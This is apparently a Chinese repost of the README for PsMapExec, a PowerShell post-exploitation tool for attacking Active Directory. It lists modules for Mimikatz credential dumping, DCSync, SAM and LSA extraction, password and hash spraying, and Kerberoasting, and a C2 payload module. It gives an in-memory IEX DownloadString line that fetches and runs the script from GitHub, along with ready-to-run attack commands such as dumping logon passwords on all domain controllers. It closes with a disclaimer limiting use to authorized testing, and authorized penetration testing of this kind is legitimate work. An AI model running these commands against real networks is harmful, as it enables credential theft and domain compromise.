PsMapExec:从CrackMapExec/NetExec中汲取灵感的PowerShell工具
PsMapExec是什么
Github:https://github.com/The-Viper-One/PsMapExec
PsMapExec 是一款 PowerShell 工具,其灵感主要来源于流行工具 CrackMapExec / NetExec。PsMapExec 旨在将这些工具的功能和使用感受引入 PowerShell,并对其进行了大量改进。
PsMapExec 可作为一种后开发工具,用于评估和入侵 Active Directory 环境。
如对 PsMapExec 有任何反馈或补充建议,请在以下链接讨论:
PsMapExec怎么使用
强烈建议阅读下面列出的文档,以便充分利用 PsMapExec。如果您不想阅读文档,只需转到本文档下面的 “使用 ”部分。
- https://viperone.gitbook.io/pentest-everything/psmapexec
- https://viperone.gitbook.io/pentest-everything/psmapexec/target-acquisition
- https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials
- https://viperone.gitbook.io/pentest-everything/psmapexec/methods
- https://viperone.gitbook.io/pentest-everything/psmapexec/modules
它支持哪些方法
目前支持的方法(协议)
方法 | 描述 |
---|---|
IPMI | Dump IPMI hashes |
Kerberoast | Kerberoast accounts |
MSSQL | Check access, run commands |
RDP | Check access |
SMB | Check access, run commands |
GenRelayList | Check SMB signing status |
Spray | Spray passwords and hashes |
SessionHunter | Check access, run commands |
VNC | Check no auth access |
WinRM | Check access, run commands |
WMI | Check access, run commands |
支持的模块
模块 | 描述 |
---|---|
Amnesiac | Executes Amnesiac C2 payloads |
ConsoleHistory | Dumps PowerShell console history |
Files | Lists files in common directories for each user |
FileZilla | Dumps Filezilla credentials |
KerbDump | Dumps Kerberos tickets |
eKeys | Dumps encryption keys from memory (Mimikatz) |
LogonPasswords | Dumps logon passwords from memory (Mimikatz) |
LSA | Dumps LSA (Mimikatz) |
NTDS | Executes DCsync on the remote system |
Notepad | Dumps notepad backup files |
NTLM | Grabs a NTLM hash for each user logon session |
SAM | Dumps SAM hashes |
SCCM | Dumps local NAA credentials and task sequences |
SessionExec | Executes commands under each user logon session |
SessionRelay | Relay NTLM hashes under each user logon session |
TGTDeleg | Grab a fresh TGT under each user logon session |
VNC | Dumps VNC credentials |
Wi-Fi | Dumps Wi-Fi credentials |
WinSCP | Dumps WinSCP credentials |
用法
将脚本直接载入内存
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")
快速示例
# Execute WMI commands over all systems in the domain using password authentication
PsMapExec -Targets all -Method WMI -Username Admin -Password Pass -Command whoami
# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Targets all -Method WinRM -Username Admin -Hash [Hash] -Command whoami
# Check RDP Access against workstations in the domain and using local authentication
PsMapExec -Targets Workstations -Method RDP -Username LocalAdmin -Password Pass -LocalAuth
# Dump SAM on a single system using SMB and a -ticket for authentication
PsMapExec -Targets DC01.Security.local -Method SMB -Ticket [Base64-Ticket] -Module SAM
# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList
# Dump LogonPasswords on all Domain Controllers over WinRM
PsMapExec -Targets DCs -Method WinRM -Username Admin -Password Pass -Module LogonPasswords
# Use WMI to check current user admin access from systems read from a text file
PsMapExec -Targets C:\temp\Systems.txt -Method WMI
# Spray passwords across all accounts in the domain
PsMapExec -Method Spray -SprayPassword [Password]
# Spray Hashes across all accounts in the domain that have AdminCount=1
PsMapExec -Targets "AdminCount=1" -Method Spray -SprayHash [Hash]
# Spray Hashes across all Domain Admin group users
PsMapExec -Targets "Domain Admins" -Method Spray -SprayHash [Hash]
# Kerberoast
PsMapExec -Method Kerberoast -ShowOutput
# IPMI
PsMapExec -Targets 192.168.1.0/24 -Method IPMI
目标获取
通过 PsMapExec 获取目标是通过 ADSI Searcher 来实现的。只要以域用户账户在域连接系统中操作,在获取目标时就不会遇到任何问题。 默认情况下,只有启用的 Active Directory 计算机账户才会填充到目标列表中。除非指定 -Domain,否则 PsMapExec 会将域设置为当前用户域。 与使用内置的 ldap 查询相比,IP 地址目标更不可取。
# All workstations, servers and domain controllers within the domain
PsMapExec -Targets All
# All workstations, servers and domain controllers on the specified domain
PsMapExec -Targets All -Domain [Domain]
# Only servers from the domain (exluding DCs)
PsMapExec -Targets Servers
# Only Domain Controllers from the domain
PsMapExec -Targets DCs
# Only workstations from the domain
PsMapExec -Targets Workstations
# Set the target values to a defined computer name
PsMapExec -Targets DC01.Security.local
# Read targets from file
PsMapExec -Targets "C:\Targets.txt"
# Wildcard filtering
PsMapExec -Targets SRV*
# Single IP Address
PsMapExec -Targets 192.168.56.11
# CIDR Range
PsMapExec -Targets 192.168.56.0/24
身份验证类型
当省略 -Command 和 -Module 时,PsMapExec 将简单地根据指定的目标系统检查提供的或当前的用户凭据,以便通过指定的方法进行管理访问。
# Current user
PsMapExec -Targets All -Method [Method]
# With Password
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]
# With Hash
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256/NTLM]
# With Ticket
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]
# Local Authentication (WMI only)
PsMapExec -Targets All -Method WMI -LocalAuth
命令执行
所有当前支持的命令执行方法都支持 -Command 参数。命令参数可以附加到上述身份验证类型,以指定或当前用户身份执行给定的命令。
PsMapExec -Targets All -Method [Method] -Command [Command]
模块执行
所有当前支持的命令执行方法都支持 -Module 参数。模块参数可以附加到身份验证类型,以作为指定用户或当前用户执行给定模块。
PsMapExec -Targets All -Method [Method] -Module [Module]
模块列表链接在下面的详细使用部分中。
详细使用方法
- https://viperone.gitbook.io/pentest-everything/psmapexec
- https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials
- https://viperone.gitbook.io/pentest-everything/psmapexec/methods
- https://viperone.gitbook.io/pentest-everything/psmapexec/modules
- https://viperone.gitbook.io/pentest-everything/psmapexec/spray
依赖项
自 0.6.0 版以来,PsMapExec 不再具有任何外部脚本依赖性,除了 Amnesiac 模块(将在未来的更新中解决)。PsMapExec 现在可以在考试实验室或 CTF 机器等受限环境中运行。
免责声明
PsMapExec 主要用于研究、教育和授权测试场景。开发和分发 PsMapExec 的目的是为专业人员和研究人员提供一种工具来了解和识别漏洞并增强系统的安全性。用户必须确保在任何系统、网络或数字环境中应用此工具之前已获得所有相关方的明确、相互同意。
从事未经授权的活动(包括但不限于未经许可访问系统)可能会导致严重的法律后果。用户必须充分了解并遵守其管辖区、地方、州和联邦有关网络安全和数字访问的所有法律法规。
PsMapExec 的开发者和贡献者明确表示,对于任何未经授权或非法使用该工具的行为,他们不承担任何责任。此外,他们也不对因 PsMapExec 的误用或错误应用而造成的任何后续损害、损失或后果负责。
评论1次
感谢分享